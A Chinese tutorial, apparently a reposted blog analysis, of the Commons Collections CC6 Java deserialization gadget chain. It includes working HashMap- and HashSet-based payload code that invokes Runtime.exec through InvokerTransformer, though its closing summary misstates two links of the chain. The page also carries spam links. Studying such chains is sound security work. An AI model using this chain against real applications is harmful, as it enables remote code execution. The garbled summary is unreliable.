当前位置: 首页 > wzjs >正文

做3d兼职网站万州网站建设果园路

做3d兼职网站,万州网站建设果园路,门户网站 页面集成,优就业seo与CC5相似: 在 CC5 中使用了 TiedMapEntry#toString 来触发 LazyMap#get在 CC6 中是通过 TiedMapEntry#hashCode 来触发 LazyMap#get 之前看到了 hashcode 方法也会调用 getValue() 方法然后调用到其中 map 的 get 方法触发 LazyMap,那重点就在于如何在反…

与CC5相似:

  • 在 CC5 中使用了 TiedMapEntry#toString 来触发 LazyMap#get
  • 在 CC6 中是通过 TiedMapEntry#hashCode 来触发 LazyMap#get

之前看到了 hashcode 方法也会调用 getValue() 方法然后调用到其中 map 的 get 方法触发 LazyMap,那重点就在于如何在反序列化时触发 TiedMapEntryhashCode 方法了

JAVA环境

java version "1.8.0_74"

Java(TM) SE Runtime Environment (build 1.8.0_74-b02)

Java HotSpot(TM) 64-Bit Server VM (build 25.74-b02, mixed mode)

依赖版本

  • Apache Commons Collections 依赖版本:commons-collections : 3.1 - 3.2.1

检查依赖配置

确认项目中是否正确引入了 Apache Commons Collections 的依赖。如果使用的是 Maven,可以在 pom.xml 文件中添加以下依赖:

<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version>
</dependency>

资源下载

  • maven
  • Java8下载
  • commons-collections源码

前置知识

HashMap - kick-off

之前在 URLDNS 中,我们发现,在反序列化一个 HashMap 对象时,会调用 key 对象的 hashCode 方法计算 hash 值,那在此处当然也可以用来触发 TiedMapEntry 的 hashCode 方法

不太记得了可以回顾:JAVA反序列化深入学习(二):URLDNS-CSDN博客

但会遇到 URLDNS 中同样面临的问题:

调用链会在 HashMap 的 put 方法调用时提前触发,需要想办法绕过触发,可以采用以下几种方式:

  • 类似URLDNS方法二,利用反射调用 putVal 方法写入 key 避免触发
  • 在向 HashMap push LazyMap 时先给个空的 ChainedTransformer
    • 这样添加的时候不会执行任何恶意动作
    • put 之后再反射将有恶意链的 Transformer 数组写到 ChainedTransformer 中

这样就完成了一个 HashMap 的触发方式

HashMap 的 put 方法可以触发 key 的 hashCode ,那还有没有入口类能触发这个方法了?

于是找到了 CC6 的 HashSet 触发方式

HashSet - kick-off

  • HashSet 是一个无序的,不允许有重复元素的集合
  • HashSet 本质上就是由 HashMap 实现的
// 构造一个新的空集合
// 具有默认初始容量(16)和负载因子(0.75)
public HashSet() {map = new HashMap<>();
}
// 构造一个包含指定集合中的元素的新集合
public HashSet(Collection<? extends E> c) {map = new HashMap<>(Math.max((int) (c.size()/.75f) + 1, 16));addAll(c);
}
  • HashSet 中的元素都存放在 HashMap 的 key 上面
    • 而 value 中的值都是统一的
// Dummy value to associate with an Object in the backing Map
private static final Object PRESENT = new Object();
  • HashSet 跟 HashMap 一样,都是一个存放链表的数组
readObject

在 HashSet 的 readObject 方法中,会调用其内部 HashMap 的 put 方法,将值放在 key 上

private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {// Read in any hidden serialization magics.defaultReadObject();...// Create backing HashMapmap = (((HashSet<?>)this) instanceof LinkedHashSet ?new LinkedHashMap<E,Object>(capacity, loadFactor) :new HashMap<E,Object>(capacity, loadFactor));// Read in all elements in the proper order.for (int i=0; i<size; i++) {@SuppressWarnings("unchecked")E e = (E) s.readObject();map.put(e, PRESENT);}
}

攻击构造

基于HashMap

首先是结合 LazyMap 和 HashMap 的方式,这里使用了之前在URLDNS方法二中的反射代码,以及同时写了包含 Fake Chain 绕过触发的方式

恶意代码主体
    public void CC6WithHashMap() throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, InvocationTargetException {// 初始化 HashMapHashMap<Object, Object> hashMap = new HashMap<>();Transformer[] transformers = GenTransformerArray();// 创建一个空的 ChainedTransformerChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});// 创建 LazyMap 并引入 TiedMapEntryMap lazyMap = LazyMap.decorate(new HashMap(), fakeChain);TiedMapEntry entry   = new TiedMapEntry(lazyMap, "neolock");hashMap.put(entry, "neolock");//用反射再改回真的chainField f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(fakeChain, transformers);//清空由于 hashMap.put 对 LazyMap 造成的影响lazyMap.clear();// 反射调用 HashMap 的 putVal 方法//        Method[] m = Class.forName("java.util.HashMap").getDeclaredMethods();//        for (Method method : m) {//            if ("putVal".equals(method.getName())) {//                method.setAccessible(true);//                method.invoke(hashMap, -1, entry, 0, false, true);//            }//        }writeObjectToFile(hashMap, fileName);readFileObject(fileName);}
Transformer数组生成
protected Transformer[] GenTransformerArray()  throws IOException, NoSuchFieldException, IllegalAccessException {// 创建 ChainedTransformerTransformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};return transformers;
}

比较简单,就是一个缝合

基于HashSet

接下来看一下HashSet 的触发方式

恶意代码主体
public void CC6WithHashSet() throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, InvocationTargetException {// 初始化 HashMapHashMap<Object, Object> hashMap = new HashMap<>();Transformer[] transformers = GenTransformerArray();// 创建一个空的 ChainedTransformerChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});// 创建 LazyMap 并引入 TiedMapEntryMap lazyMap = LazyMap.decorate(new HashMap(), fakeChain);TiedMapEntry entry   = new TiedMapEntry(lazyMap, "neolock");hashMap.put(entry, "neolock");// 唯一相对于上一个方法多出来的步骤,套了一层HashSetHashSet set = new HashSet(hashMap.keySet());//用反射再改回真的chainField f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(fakeChain, transformers);//清空由于 hashMap.put 对 LazyMap 造成的影响lazyMap.clear();writeObjectToFile(set, fileName);readFileObject(fileName);
}

Transformer数组生成与之前相同,可以看到我们只是简单的在 HashMap 之外嵌套了一层 HashSet

ysoserial

在 ysoserial 中的 CC6 payload 中,作者 matthias_kaiser 使用的方式是:

  • 多次使用反射向 HashMap 及 HashSet 中写入值
  • 兼容了 JDK 7 和 8 中成员变量名发生变化的情况
  • 并且是通过向底层 map 中的 节点添加的方式

这种方式或许有点过于冗杂了,不如使用空 Transformer 链反射的方式,大大方方的向 HashMap 或 HashSet 中 push 数据

总结

以上就是 CC6 链分析的全部内容了,最后总结一下

利用说明

  1. 反序列化 调用 TiedMapEntry 的 toString 方法
  2. 调用了 LazyMap 的 hashCode 方法
  3. 触发了后续的 Transformer 恶意执行链
Gadget 总结
  • kick-off gadget:java.util.HashSet#readObject/java.util.HashMap#readObject
  • sink gadget:org.apache.commons.collections.functors.InvokerTransformer#transform
  • chain gadget:org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode
调用链展示
HashSet.readObject()/HashMap.readObject()HashMap.put()HashMap.hash()TiedMapEntry.hashCode()LazyMap.get()ChainedTransformer.transform()InvokerTransformer.transform()
  • Java 反序列化漏洞(二) - Commons Collections | 素十八
  • Java反序列化漏洞(八)- CommonsCollections6链

文章转载自:

http://9Qlp7Rgm.dzgmj.cn
http://1UIFhvQO.dzgmj.cn
http://R6rzIAJh.dzgmj.cn
http://bI1t5PpN.dzgmj.cn
http://8K2IFpR0.dzgmj.cn
http://msjiGYVB.dzgmj.cn
http://4QSUS85w.dzgmj.cn
http://oxmz6Yjk.dzgmj.cn
http://kDvirYho.dzgmj.cn
http://GzGiSKUg.dzgmj.cn
http://gSt1NzSP.dzgmj.cn
http://ujeAY56Z.dzgmj.cn
http://1WjhSNER.dzgmj.cn
http://8srgz56l.dzgmj.cn
http://akRU5Mfg.dzgmj.cn
http://Yo9KXAm5.dzgmj.cn
http://fH4h3fRw.dzgmj.cn
http://BjjTULxZ.dzgmj.cn
http://4QCeruo3.dzgmj.cn
http://8d7gg92T.dzgmj.cn
http://tnsLWeBQ.dzgmj.cn
http://248fj414.dzgmj.cn
http://aRcVRSoe.dzgmj.cn
http://DjpqWRHy.dzgmj.cn
http://X4r6HErj.dzgmj.cn
http://maJmcmpI.dzgmj.cn
http://lycIDJm9.dzgmj.cn
http://6IB3pbVv.dzgmj.cn
http://SZRfjtkc.dzgmj.cn
http://I1gY8R8K.dzgmj.cn
http://www.dtcms.com/wzjs/681994.html

相关文章:

  • 关于旅游网站策划书wordpress怎么做网站
  • 广东省省建设厅网站wordpress免费 模板
  • 做网站怎么投放广告网站内容由什么组成部分组成
  • 网站建设推广一对一服务普通电脑怎么做网站服务器吗
  • 服装设计网站免费查指数
  • 个体工商户做网站扁平化网站建设公司
  • 网站手机版跳转代码企业网站推广联系方式
  • 泸州北京网站建设博客网站注册
  • 网站界面设计套题新增网站推广
  • 做数据可视化图的网站推广平台哪个好
  • 站群管理如何做网页推广的网页
  • 自己能否建立公司网站菏泽网站建设菏泽众皓
  • php免费网站系统管理者必备的三大能力
  • 网站开发怎么使用维语wordpress发布pdf
  • 苏州网站运营公司晋江网站建设公司
  • 成都建设路小学网站自定义建设网站
  • 洛阳网站排名各大网站网址
  • 上海做网站培训班成品短视频app的推荐功能
  • 陕西企业电脑网站制作建网站卖东西
  • 北京网站建设公司 蓝纤科技无备案网站可以做百度推广
  • 可以做ppt的网站有哪些wordpress hook
  • 网站开发后端书籍免费h5响应式网站搭建
  • 网站建设比较好的多少钱wordpress appcan
  • 有没有做维修的网站wordpress自动分享插件下载地址
  • 外贸业务员做网站手机链接ppt在哪个网站做
  • 在哪可以建一个网站有那种做订单的网站吗
  • 蚂蜂窝网站源码上海排名十大装潢公司
  • 科技公司 网站设计经典案例网页数据可视化设计案例
  • 网站开发实施计划与安排做网站都有备案吗
  • 保定市建设局安监网站淘宝客怎么做网站管理